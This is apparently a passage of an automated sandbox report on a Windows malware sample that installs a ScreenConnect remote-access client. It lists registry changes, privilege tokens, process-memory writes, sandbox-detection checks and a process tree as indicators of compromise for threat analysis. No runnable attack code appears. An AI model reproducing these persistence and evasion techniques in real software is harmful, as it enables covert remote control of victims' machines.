0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcs0000 = 300030003000300031003300660034003a00300031006400640032006600360061003a00370062003300370039006300350038000000300030003000300030006100310063003a00300031006400640032006600360061003a003700390061006100340061003400620000000000 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 9ddcc5f8e37d043f211b57e97c295134e02522284705eaaddbd72897b166b496 msiexec.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcs0000 = 300030003000300031003300660034003a00300031006400640032006600360061003a003700620033003700390063003500380000000000 msiexec.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcsHash = 9b118f5328baf162a842632fe2551834f698c345dd0c5bd85c18e020cf042252 msiexec.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\SessionHash = 65b1532bfb7de01a4af63ed94be02aed4cd9abb528d2e95eaef9b923d71dfe88 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "1" msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)" powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\Sequence = "1" msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002 msiexec.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\Owner = 641700009a572d6c6a2fdd01 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientSetup.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientSetup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientSetup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Sequence = "1" msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\29 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Sequence = "2" msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientSetup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust msiexec.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = 641700009a572d6c6a2fdd01 msiexec.exe - Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82} msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\PackageCode = "A4DDA384B3C5182F82FA8F59CB01DAB3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.7.7.9426\\01f7887e65212823\\" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (01f7887e65212823)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\InstanceType = "0" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\ProductName = "ScreenConnect Client (01f7887e65212823)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E36E4583DBC2A0AF5701B01D289E665E\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\ProductIcon = "C:\\Windows\\Installer\\{3854E63E-2CBD-FA0A-7510-0BD182E966E5}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232\E36E4583DBC2A0AF5701B01D289E665E msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\ProductName = "ScreenConnect Client (01f7887e65212823)" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-01f7887e65212823\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Media\1 = ";" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\AdvertiseFlags = "388" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232 msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232\A4DDA384B3C5182F82FA8F59CB01DAB3 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\ = "ScreenConnect Client (01f7887e65212823) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (01f7887e65212823)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\PackageCode = "E36E4583DBC2A0AF5701B01D289E665E" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82} msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-01f7887e65212823 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A4DDA384B3C5182F82FA8F59CB01DAB3\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\Version = "436535299" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\Net\1 = "C:\\Windows\\SystemTemp\\ScreenConnect\\26.5.3.9691\\01f7887e65212823\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E36E4583DBC2A0AF5701B01D289E665E msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\Version = "419889159" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\Clients = 3a0000000000 msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E36E4583DBC2A0AF5701B01D289E665E msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\AdvertiseFlags = "388" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Media msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32 msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A4DDA384B3C5182F82FA8F59CB01DAB3 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\DeploymentFlags = "3" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\ProductIcon = "C:\\Windows\\Installer\\{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}\\DefaultIcon" msiexec.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5988 msiexec.exe 5988 msiexec.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5848 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe 5988 msiexec.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3936 2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe Token: SeShutdownPrivilege 52 msiexec.exe Token: SeIncreaseQuotaPrivilege 52 msiexec.exe Token: SeSecurityPrivilege 5988 msiexec.exe Token: SeCreateTokenPrivilege 52 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 52 msiexec.exe Token: SeLockMemoryPrivilege 52 msiexec.exe Token: SeIncreaseQuotaPrivilege 52 msiexec.exe Token: SeMachineAccountPrivilege 52 msiexec.exe Token: SeTcbPrivilege 52 msiexec.exe Token: SeSecurityPrivilege 52 msiexec.exe Token: SeTakeOwnershipPrivilege 52 msiexec.exe Token: SeLoadDriverPrivilege 52 msiexec.exe Token: SeSystemProfilePrivilege 52 msiexec.exe Token: SeSystemtimePrivilege 52 msiexec.exe Token: SeProfSingleProcessPrivilege 52 msiexec.exe Token: SeIncBasePriorityPrivilege 52 msiexec.exe Token: SeCreatePagefilePrivilege 52 msiexec.exe Token: SeCreatePermanentPrivilege 52 msiexec.exe Token: SeBackupPrivilege 52 msiexec.exe Token: SeRestorePrivilege 52 msiexec.exe Token: SeShutdownPrivilege 52 msiexec.exe Token: SeDebugPrivilege 52 msiexec.exe Token: SeAuditPrivilege 52 msiexec.exe Token: SeSystemEnvironmentPrivilege 52 msiexec.exe Token: SeChangeNotifyPrivilege 52 msiexec.exe Token: SeRemoteShutdownPrivilege 52 msiexec.exe Token: SeUndockPrivilege 52 msiexec.exe Token: SeSyncAgentPrivilege 52 msiexec.exe Token: SeEnableDelegationPrivilege 52 msiexec.exe Token: SeManageVolumePrivilege 52 msiexec.exe Token: SeImpersonatePrivilege 52 msiexec.exe Token: SeCreateGlobalPrivilege 52 msiexec.exe Token: SeCreateTokenPrivilege 52 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 52 msiexec.exe Token: SeLockMemoryPrivilege 52 msiexec.exe Token: SeIncreaseQuotaPrivilege 52 msiexec.exe Token: SeMachineAccountPrivilege 52 msiexec.exe Token: SeTcbPrivilege 52 msiexec.exe Token: SeSecurityPrivilege 52 msiexec.exe Token: SeTakeOwnershipPrivilege 52 msiexec.exe Token: SeLoadDriverPrivilege 52 msiexec.exe Token: SeSystemProfilePrivilege 52 msiexec.exe Token: SeSystemtimePrivilege 52 msiexec.exe Token: SeProfSingleProcessPrivilege 52 msiexec.exe Token: SeIncBasePriorityPrivilege 52 msiexec.exe Token: SeCreatePagefilePrivilege 52 msiexec.exe Token: SeCreatePermanentPrivilege 52 msiexec.exe Token: SeBackupPrivilege 52 msiexec.exe Token: SeRestorePrivilege 52 msiexec.exe Token: SeShutdownPrivilege 52 msiexec.exe Token: SeDebugPrivilege 52 msiexec.exe Token: SeAuditPrivilege 52 msiexec.exe Token: SeSystemEnvironmentPrivilege 52 msiexec.exe Token: SeChangeNotifyPrivilege 52 msiexec.exe Token: SeRemoteShutdownPrivilege 52 msiexec.exe Token: SeUndockPrivilege 52 msiexec.exe Token: SeSyncAgentPrivilege 52 msiexec.exe Token: SeEnableDelegationPrivilege 52 msiexec.exe Token: SeManageVolumePrivilege 52 msiexec.exe Token: SeImpersonatePrivilege 52 msiexec.exe Token: SeCreateGlobalPrivilege 52 msiexec.exe Token: SeCreateTokenPrivilege 52 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 52 msiexec.exe - Suspicious use of FindShellTrayWindow 12 IoCs
pid Process 52 msiexec.exe 52 msiexec.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe - Suspicious use of SendNotifyMessage 10 IoCs
pid Process 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 5108 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe 3368 ScreenConnect.WindowsClient.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 52 msiexec.exe 5988 msiexec.exe 4092 MsiExec.exe 4544 MsiExec.exe 876 MsiExec.exe 5848 msiexec.exe 4600 MsiExec.exe - Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 3936 wrote to memory of 52 3936 2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe 89 PID 5988 wrote to memory of 4092 5988 msiexec.exe 91 PID 4092 wrote to memory of 1604 4092 MsiExec.exe 92 PID 5988 wrote to memory of 4200 5988 msiexec.exe 98 PID 5988 wrote to memory of 4544 5988 msiexec.exe 100 PID 5988 wrote to memory of 876 5988 msiexec.exe 101 PID 2588 wrote to memory of 5108 2588 ScreenConnect.ClientService.exe 103 PID 2588 wrote to memory of 3164 2588 ScreenConnect.ClientService.exe 104 PID 2588 wrote to memory of 2120 2588 ScreenConnect.ClientService.exe 106 PID 2120 wrote to memory of 5848 2120 ScreenConnect.ClientSetup.exe 107 PID 5988 wrote to memory of 4600 5988 msiexec.exe 108 PID 4600 wrote to memory of 3292 4600 MsiExec.exe 109 PID 944 wrote to memory of 3368 944 ScreenConnect.ClientService.exe 111 PID 944 wrote to memory of 52 944 ScreenConnect.ClientService.exe 112 PID 944 wrote to memory of 1844 944 ScreenConnect.ClientService.exe 114 PID 1844 wrote to memory of 1720 1844 powershell.exe 115 PID 1720 wrote to memory of 1140 1720 csc.exe 116 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.7.7.9426\01f7887e65212823\ScreenConnect.ClientSetup.msi"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:52
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5988 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E28165E3CEDEADC5C7ECD67EDE0B1905 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4092 -
